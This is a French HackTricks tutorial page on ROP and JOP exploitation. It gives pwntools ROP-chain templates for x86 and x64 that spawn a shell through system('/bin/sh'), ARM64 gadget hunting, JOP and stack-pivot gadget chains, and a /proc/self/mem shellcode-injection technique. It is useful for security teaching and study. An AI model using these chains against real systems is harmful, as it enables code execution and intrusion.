ROP & JOP
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Return-Oriented Programming (ROP) est une technique d’exploitation avancée utilisée pour contourner des mesures de sécurité comme No-Execute (NX) ou Data Execution Prevention (DEP). Au lieu d’injecter et d’exécuter du shellcode, un attaquant réutilise des morceaux de code déjà présents dans le binaire ou dans des bibliothèques chargées, appelés “gadgets”. Chaque gadget se termine généralement par une instruction ret et effectue une petite opération, comme déplacer des données entre registres ou réaliser des opérations arithmétiques. En chaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi les protections NX/DEP.
Comment fonctionne ROP
- Control Flow Hijacking: Tout d’abord, un attaquant doit détourner le flux de contrôle d’un programme, généralement en exploitant un buffer overflow pour écraser une adresse de retour sauvegardée sur la pile.
- Gadget Chaining: L’attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour réaliser les actions souhaitées. Cela peut impliquer de préparer des arguments pour un appel de fonction, d’appeler la fonction (par ex.
system("/bin/sh")) et de gérer le nettoyage ou des opérations supplémentaires nécessaires. - Payload Execution: Quand la fonction vulnérable retourne, au lieu de revenir vers un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
Outils
En général, les gadgets peuvent être trouvés en utilisant ROPgadget, ropper ou directement depuis pwntools (ROP).
Exemple de ROP Chain en x86
Conventions d’appel x86 (32-bit)
- cdecl: Le caller nettoie la pile. Les arguments des fonctions sont poussés sur la pile dans l’ordre inverse (de droite à gauche). Les arguments sont poussés sur la pile de droite à gauche.
- stdcall: Similaire à cdecl, mais le callee est responsable du nettoyage de la pile.
Trouver des gadgets
Commençons par supposer que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :
pop eax; ret: Ce gadget dépile la valeur en haut de la pile dans le registreEAXpuis retourne, nous permettant de contrôlerEAX.pop ebx; ret: Similaire au précédent, mais pour le registreEBX, ce qui permet de contrôlerEBX.mov [ebx], eax; ret: Déplace la valeur deEAXvers l’emplacement mémoire pointé parEBXpuis retourne. C’est souvent appelé un write-what-where gadget.- De plus, nous avons l’adresse de la fonction
system()disponible.
ROP Chain
En utilisant pwntools, nous préparons la pile pour l’exécution de la ROP chain comme suit en visant à exécuter system('/bin/sh') ; notez comment la chaîne commence par :
- Une instruction
retpour des raisons d’alignement (optionnel) - L’adresse de la fonction
system(en supposant ASLR désactivé et libc connue, plus d’infos dans Ret2lib) - Un placeholder pour l’adresse de retour de
system() - L’adresse de la chaîne
"/bin/sh"(paramètre pour la fonction system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Exemple
x64 (64-bit) Conventions d’appel
- Utilise la convention d’appel System V AMD64 ABI sur les systèmes de type Unix, où les six premiers arguments entiers ou pointeurs sont passés dans les registres
RDI,RSI,RDX,RCX,R8etR9. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dansRAX. - La convention d’appel Windows x64 utilise
RCX,RDX,R8etR9pour les quatre premiers arguments entiers ou pointeurs, les arguments supplémentaires étant passés sur la pile. La valeur de retour est placée dansRAX. - Registres : les registres 64-bit incluent
RAX,RBX,RCX,RDX,RSI,RDI,RBP,RSP, etR8àR15.
Finding Gadgets
Pour notre objectif, concentrons-nous sur des gadgets qui nous permettront de définir le registre RDI (pour passer la chaîne “/bin/sh” en tant qu’argument à system()) puis d’appeler la fonction system(). Nous supposerons que nous avons identifié les gadgets suivants :
- pop rdi; ret: Dépile la valeur située au sommet de la pile dans RDI puis retourne. Essentiel pour définir notre argument pour system().
- ret: Une instruction de retour simple, utile pour l’alignement de la pile dans certains scénarios.
Et nous connaissons l’adresse de la fonction system().
ROP Chain
Ci-dessous un exemple utilisant pwntools pour configurer et exécuter une ROP chain visant à exécuter system(‘/bin/sh’) sur x64 :
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Dans cet exemple :
- Nous utilisons le gadget
pop rdi; retpour définirRDIà l’adresse de"/bin/sh". - Nous sautons directement vers
system()après avoir définiRDI, l’adresse de system() étant dans la chaîne. ret_gadgetest utilisé pour l’alignement si l’environnement cible l’exige, ce qui est plus courant en x64 pour garantir un alignement correct de la pile avant d’appeler des fonctions.
Alignement de la pile
L’ABI x86-64 garantit que la pile est alignée sur 16 octets lorsqu’une instruction call est exécutée. LIBC, pour optimiser les performances, utilise des instructions SSE (comme movaps) qui exigent cet alignement. Si la pile n’est pas correctement alignée (c’est-à-dire que RSP n’est pas un multiple de 16), les appels à des fonctions comme system échoueront dans une ROP chain. Pour corriger cela, ajoutez simplement un ret gadget avant d’appeler system dans votre ROP chain.
Différence principale entre x86 et x64
Tip
Comme x64 utilise des registres pour les premiers arguments, il nécessite souvent moins de gadgets que x86 pour des appels de fonctions simples, mais trouver et enchaîner les gadgets appropriés peut être plus complexe en raison du nombre accru de registres et du plus grand espace d’adressage. Le nombre accru de registres et le plus grand espace d’adressage de l’architecture x64 offrent à la fois des opportunités et des défis pour le développement d’exploits, en particulier dans le contexte de Return-Oriented Programming (ROP).
ROP chain en ARM64
Concernant les notions de base ARM64 & conventions d’appel, consultez la page suivante pour ces informations :
[!DANGER] Il est important de noter que lorsque l’on saute vers une fonction en utilisant un ROP en ARM64, il faut sauter vers la 2e instruction de la fonction (au moins) pour éviter de stocker dans la pile le pointeur de pile actuel et se retrouver dans une boucle éternelle appelant la fonction encore et encore.
Trouver des gadgets dans system Dylds
Les bibliothèques système sont compilées dans un seul fichier appelé dyld_shared_cache_arm64. Ce fichier contient toutes les bibliothèques système dans un format compressé. Pour télécharger ce fichier depuis l’appareil mobile, vous pouvez faire :
scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect
Ensuite, vous pouvez utiliser quelques outils pour extraire les bibliothèques réelles du fichier dyld_shared_cache_arm64 :
brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
Maintenant, pour trouver des gadgets intéressants pour le binary que vous exploitez, vous devez d’abord savoir quelles bibliothèques sont chargées par le binary. Vous pouvez utiliser lldb* pour cela :
lldb ./vuln
br s -n main
run
image list
Enfin, vous pouvez utiliser Ropper pour trouver des gadgets dans les bibliothèques qui vous intéressent :
# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"
JOP - Jump Oriented Programming
JOP est une technique similaire à ROP, mais chaque gadget, au lieu d’utiliser une instruction RET à la fin du gadget, it uses jump addresses. Cela peut être particulièrement utile dans des situations où ROP n’est pas réalisable, par exemple lorsqu’aucun gadget approprié n’est disponible. Ceci est couramment utilisé dans les architectures ARM où l’instruction ret n’est pas aussi couramment utilisée que dans les architectures x86/x64.
Vous pouvez également utiliser des outils rop pour trouver des JOP gadgets, par exemple:
cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
-
Il y a un heap overflow qui nous permet d’écraser un function pointer stocké dans le heap et qui sera appelé.
-
x0pointe vers le heap où nous contrôlons de l’espace -
Depuis les bibliothèques système chargées, nous trouvons les gadgets suivants:
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
- Nous pouvons utiliser le premier gadget pour charger
x0avec un pointeur vers/bin/sh(stocké dans le heap) puis chargerx2depuisx0 + 0x30avec l’adresse desystemet sauter vers celle-ci.
Stack Pivot
Stack pivoting est une technique utilisée en exploitation pour changer le stack pointer (RSP in x64, SP in ARM64) afin qu’il pointe vers une zone de mémoire contrôlée, comme le heap ou un buffer sur la stack, où l’attaquant peut placer son payload (généralement une ROP/JOP chain).
Exemples de Stack Pivoting chains:
- Exemple juste 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
0000001c61a9b9c:
ldr x16, [x0, #0xf8]; // Control x16
ldr x30, [x0, #0x100]; // Control x30
ldp x0, x1, [x0]; // Control x1
mov sp, x16; // Control sp
ret; // ret will jump to x30, which we control
To use this gadget you could use in the heap something like:
<address of x0 to keep x0> # ldp x0, x1, [x0]
<address of gadget> # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
<address x0+16> # Lets point SP to x0+16 to control the stack
<next gadget> # This will go into x30, which will be called with ret (so add of 2nd gadget)
- Exemple — plusieurs gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp x29, x30, [sp], #0x10 // restore FP/LR
autiasp // **PAC check on LR**
retab // **PAC-aware return**
// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov sp, x29 // **pivot candidate**
ret
// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp x0, x1, [sp], #0x10 // consume args from "new" stack
ret
G1:
stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8 // Branch to the address in x8 (controlled by attacker)
G2:
ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret
Shellcode via /proc/self/mem (Embedded Linux)
Si vous avez déjà une ROP chain mais pas de RWX mappings, une alternative est d’écrire du shellcode dans le processus courant en utilisant /proc/self/mem puis d’y sauter. C’est courant sur les cibles Embedded Linux où /proc/self/mem peut ignorer les protections d’écriture sur les segments exécutables dans les configurations par défaut.
Idée typique de chaîne :
fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET); // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)(); // ARM Thumb: jump to target_addr | 1
Si préserver fd est difficile, appeler open() plusieurs fois peut rendre faisable de deviner le descripteur utilisé pour /proc/self/mem. Sur les cibles ARM Thumb, n’oubliez pas de mettre le bit de poids faible lors du branchement (addr | 1).
Protections contre ROP et JOP
- ASLR & PIE : Ces protections rendent l’utilisation de ROP plus difficile car les adresses des gadgets changent d’une exécution à l’autre.
- Stack Canaries : En cas de BOF, il est nécessaire de contourner le Stack Canary stocké pour écraser les pointeurs de retour afin d’exploiter une chaîne ROP.
- Absence de gadgets : S’il n’y a pas assez de gadgets, il ne sera pas possible de créer une chaîne ROP.
Techniques basées sur ROP
Notez que ROP est juste une technique pour exécuter du code arbitraire. À partir de ROP, de nombreuses techniques Ret2XXX ont été développées :
- Ret2lib : utiliser ROP pour appeler des fonctions arbitraires d’une bibliothèque chargée avec des paramètres arbitraires (généralement quelque chose comme
system('/bin/sh')).
- Ret2Syscall : utiliser ROP pour préparer un appel système, par ex.
execve, et exécuter des commandes arbitraires.
- EBP2Ret & EBP Chaining : le premier abuse d’EBP au lieu d’EIP pour contrôler le flux, et le second est similaire à Ret2lib mais dans ce cas le flux est principalement contrôlé par des adresses EBP (bien qu’il soit aussi nécessaire de contrôler EIP).
Autres exemples & références
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64-bit, PIE et NX activés, pas de canary, écraser RIP avec une adresse
vsyscalldans le seul but de retourner à l’adresse suivante sur la pile, ce qui sera un écrasement partiel de l’adresse afin d’obtenir la partie de la fonction qui leak le flag - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, pas d’ASLR, gadget ROP pour rendre la pile exécutable et sauter vers du shellcode sur la pile
- https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


